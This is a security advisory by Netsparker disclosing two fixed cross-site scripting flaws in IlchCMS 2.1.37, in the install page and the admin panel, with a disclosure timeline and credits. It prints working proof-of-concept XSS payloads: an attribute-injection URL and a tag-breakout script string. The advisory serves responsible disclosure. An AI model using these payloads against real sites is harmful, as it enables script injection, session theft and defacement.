Advisory by Netsparker
Name: Cross-Site Scripting in IlchCMS
Affected Software: IlchCMS
Affected Versions: 2.1.37
Vendor Homepage:
Vulnerability Type: Cross-Site Scripting
Severity: Important
Status: Fixed
CVSS Score (3.0): 7.4 (High)
Netsparker Advisory Reference: NS-20-003

Technical Details

Cross-site Scripting in Install Page

URL: http://localhost:8001/ilch/index.php/install/index/indexx%22%20onmouseover=alert(0x003370)%20x=%22 
Parameter Name: URI-BASED  
Parameter Type: Full URL  
Attack Pattern: x%22+onmouseover%3dnetsparker(0x003370)+x%3d%22

Cross-site Scripting in Admin Panel

Notes: For successful exploitation, payload may need to be sent without URL encoding. Modern browsers will encode the HTML tags in the request before it is being sent to the webserver, however it is still possible in Internet Explorer.  
Proof URL:'"--></style></scRipt><scRipt>alert(0x0096E8)</scRipt>  
Parameter Name: Query Based  
Parameter Type: Query String  
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x0096E8)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

1st September 2020 - First Contact
5th September 2020 - Vendor Fixed
10th September 2020 - Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing the Netsparker Web Application Security Scanner.

About Netsparker

Netsparker web application security scanner finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be highly accurate in reporting vulnerabilities.